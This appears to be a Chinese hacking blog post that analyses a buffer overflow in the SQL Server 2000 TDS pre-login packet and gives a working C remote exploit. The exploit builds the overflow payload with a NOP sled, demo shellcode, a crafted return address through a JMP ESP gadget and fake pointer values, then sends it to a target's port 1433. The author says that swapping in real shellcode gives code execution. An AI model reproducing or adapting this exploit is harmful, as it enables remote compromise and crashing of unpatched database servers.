|
这几天开始用汇编看sql server的代码，发现SQL SERVER的1433 TDS协议中，0X12号命令（请求验证）存在一个溢出问题，在传送最后的MSSQLSERVER后面跟上572个以上的字节会导致溢出，心里一喜，但吸取上次教训，一查，发现8月12这个漏洞已经被公告。哎
但是一看，公告代码只指出溢出，但是未实现溢出，仔细一看，要实现这个溢出还是很麻烦的，涉及到很多问题：
下面是汇编代码分析：
前面接受信息的大致流程：
请求
text:004DE099 call sub_410E22
.text:00410ED3 call dword ptr [eax+14h]
调用ssnetlib的获取异步socket到来的信息
42CF42F2:连接并接收信息
.text:00410ED6 add esp, 18h
处理数据：
42cf719e处调用，下个返回地址应该是42cf71a3，溢出就是要覆盖这个返回地址
溢出产生在:42cf72cf处的strcpy上
但是其中问题存在于：strcpy拷贝的地址离42cf71a3的地址有572个字节，其中存在很多其他变量的指针，如果随便覆盖掉的话，在这个子过程中会继续引用他们，那么就引起访问违例，直接被异常给捕获了，而无法达到执行代码的目的，而其其过程是一个循环执行过程，会导致很复杂的计算。
涉及到的需要继续引用覆盖地址值的代码有：
.text:42CF73D9 mov edx, [ebp+var_4]
.text:42CF73DC add edx, 5
.text:42CF73DF mov [ebp+var_4], edx
.text:42CF7263 mov edx, [ebp+arg_4]
.text:42CF7266 add edx, [ebp+var_4]
.text:42CF7269 xor eax, eax
.text:42CF726B mov al, [edx]
.text:42CF726D mov [ebp+var_14], eax
.text:42CF7270 mov ecx, [ebp+arg_4]
.text:42CF7320 mov [ebp+var_224], ecx
.text:42CF7326 mov edx, [ebp+arg_0]
.text:42CF7329 mov eax, [ebp+var_224]
.text:42CF732F mov ecx, [eax]
可以发现以上值主要是涉及到
要覆盖地址-8
要覆盖地址+4
要覆盖地址+8
要覆盖地址+C
要覆盖地址+10
要覆盖地址+14
这几个地址上，而且主要是写操作
并且要覆盖地址-4会和要覆盖地址+4会进行一次加操作，其操作的地址范围也应该为可读写。
因此很容易想到，用SQL SERVER固定分配的某个数据区的地址取带该区就不会引起异常了。而要覆盖地址-4最好为0xffffffff左右的值，其他地址加上这个值也在一个数据区范围以内，问题就不大要覆盖地址+4，要覆盖地址+8，要覆盖地址+C，要覆盖地址+10，要覆盖地址+14的值要仔细选取，因为JMP ESP跳回来以后正好在从要覆盖地址+4处开始执行，需要其汇编代码不能引起异常和跳转到其他地方去，否则就无法执行我们真正能实现的shellcode了。
另外就是如果shellcode全部放在要覆盖地址+18后执行也有问题，其中可能在同一个过程中会用到其中的值，因此把shellcode最好放在前面，在覆盖地址+18后用少量的代码跳转回去，避免大量覆盖引起异常。
另外就是jmp esp代码的选择，其实不同服务器版本地址不同，但是我想在SQL SERVER代码本身中找更好。只要存在一个ffe4数字就可，不管是不是真的jmp esp代码，这样shellcode可以更简单，也更通用一些，仔细一看,sql server中还真有这个组合，位置在42B0C9DC处。OK，那么主要问题就搞定了
我的环境是：sql server 2000+sp2+最新的补掉sql server udp漏洞的q36几几的。
下面是演示代码，其中没有实现真正的shellcode,而是实现了打印了一行sql hack demo,并且当掉了SQL SERVER服务器，其实只要把其中代码置换成shellcode就可以了，当然需要考虑大小问题，如果放在后面可以不考虑大小，但是可能会引起一些异常，我没仔细调试，放在前面许可的长度大概有500多字节左右，做SHELLCODE也应该足够了。
大家在cmd下运行sqlsvrer可以看到打印出的sql hack demo字符，并且SQL 当掉，如果是服务或管理工具启动，则无法打印sql hack demo，但SQL会当掉，注意此处当掉不是因为异常，而是执行了shellcode的exit导致的。
#include
#include
#include
#include
#include <windows.h>
#include
int main(int argc, char* argv[])
{
WSADATA WSAData;
SOCKET sock;
SOCKADDR_IN addr_in;
unsigned char buf0[48+572]={
0x12,1,0,0x34,0,0,0,0,0,0,0x15,0,6,1,0,0x1b,
0,1,2,0,0x1c,0,0xc,3,0,0x28,0,4,0xff,8,0,2,
0x10,0,0,0,0x4d,0x53,0x53,0x51,0x4c,0x53,0x65,0x72,0x76,0x65,0x72,1,0x10,4,1,1};
unsigned char buf1[255]={10,9,8,7,6,5,4,3,2,1,0};
char exploit_code[21]= "\x83\xc4\x81\x8b\xc4\x50\xff\x15\xf8\xe0\xcf\x42"
"\x33\xc0\x50\xff\x15\x84\xe0\xcf\x42";
//这个是打印"sql hack demo"并退出sql server的shellcode代码
int i;
int len;
const int SNDBUF = 0;
const int TCPNODELAY = TRUE;
const int BROADCAST = TRUE;
int fo=572; //需要覆盖的返回地址偏移处
if (argc<2)
{
return FALSE;
}
for(i=0x34;i<584;i++)
buf0[i]=0x90;
//示范打印的字符串
buf0[0x34+0x10]=''s'';
buf0[0x34+0x11]=''q'';
buf0[0x34+0x12]=''l'';
buf0[0x34+0x13]='' '';
buf0[0x34+0x14]=''h'';
buf0[0x34+0x15]=''a'';
buf0[0x34+0x16]=''c'';
buf0[0x34+0x17]=''k'';
buf0[0x34+0x18]='' '';
buf0[0x34+0x19]=''d'';
buf0[0x34+0x1a]=''e'';
buf0[0x34+0x1b]=''m'';
buf0[0x34+0x1c]=''o'';
buf0[0x34+0x1d]=''\n'';
//防止数据改动引起异常而退出而无法实现有效溢出，因此进行有效修改
buf0[fo-0x8]=0xff;
buf0[fo-0x7]=0xff;
buf0[fo-0x6]=0xff;
buf0[fo-0x5]=0xff;
//42D01CFC 为SQL SERVER固定的数据区域，且其汇编代码不引起问题
buf0[fo+4]=0xfc;
buf0[fo+5]=0x1c;
buf0[fo+6]=0xd0;
buf0[fo+7]=0x42;
//42d01c72 为固定的数据区域才能可写
buf0[fo+8]=0x64;
buf0[fo+9]=0x0d;
buf0[fo+0xa]=0xd0;
buf0[fo+0xb]=0x42;
//42D01CFC 为固定的数据区域才能可写
buf0[fo+0xc]=0xfc;
buf0[fo+0xd]=0x1c;
buf0[fo+0xe]=0xd0;
buf0[fo+0xf]=0x42;
//42d01c72 为固定的数据区域才能可写
buf0[fo+0x10]=0x64;
buf0[fo+0x11]=0x0d;
buf0[fo+0x12]=0xd0;
buf0[fo+0x13]=0x42;
//42d01c72 为固定的数据区域才能可写
buf0[fo+0x14]=0x64;
buf0[fo+0x15]=0x0d;
buf0[fo+0x16]=0xd0;
buf0[fo+0x17]=0x42;
//在溢出了返回地址后，由于其中的N个代码需要返回后跳转、而此处由在子函数中需要处理，因此寻找一个数据地址放入，同时使得其汇编代码不引起访问异常。
//然后下面的几个地址是在此过程中不需要使用的，因此可以大胆修改成我们需要的汇编代码了
//写入跳回去的代码buf0[fo+0xc]=0x42;
buf0[fo+0x18]=0x81;
//ADD ESP,0XFFFFFF92
buf0[fo+0x19]=0x83;
buf0[fo+0x1a]=0xc4;
buf0[fo+0x1b]=0x81;
//ADD ESP,0XFFFFFF92
buf0[fo+0x1C]=0x83;
buf0[fo+0x1D]=0xc4;
buf0[fo+0x1E]=0x81;
//ADD ESP,0XFFFFFF92
buf0[fo+0x1f]=0x83;
buf0[fo+0x20]=0xc4;
buf0[fo+0x21]=0x81;
//JMP ESP
buf0[fo+0x22]=0xff;
buf0[fo+0x23]=0xe4;
//以上代码在溢出返回后执行，由于主要的shellcode防在前面，需要跳转回去
//不直接放在后面的原因在于：覆盖了后面的一些变量，会导致提前出现地址访问异常，导致无法达到执行我们想要代码的目的
memcpy(buf0+fo-8-364,exploit_code,21);
//拷贝SHELLCODE
//FFE4=JMP ESP
//设置溢出地址的值，42B0C9DC是SQL SERVER本身代码有的FFE4地方
buf0[fo]=0xDC;
buf0[fo+1]=0xC9;
buf0[fo+2]=0xB0;
buf0[fo+3]=0x42;
//需要找到JMP ESP的代码，然而这个是随版本变化的，所以干脆在SQL SERVER程序中找，只要组合成这个就可
if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
{
printf("WSAStartup error.Error:%d\n",WSAGetLastError());
return FALSE;
}
if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
{
printf("Socket failed.Error:%d\n",WSAGetLastError());
return FALSE;
}
addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(1433);
addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);
buf0[1]=1;
if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
{
printf("Connect failed.Error:%d",WSAGetLastError());
return FALSE;
}
if (send(sock, buf0, sizeof(buf0), 0)==SOCKET_ERROR)
{
printf("Send failed.Error:%d\n",WSAGetLastError());
return FALSE;
}
上一篇：SQL SERVER 2000通讯管道后复用劫持
下一篇：SQL配合3389的一次入侵
|
网站地图
收藏本站
高级搜索
相关文章: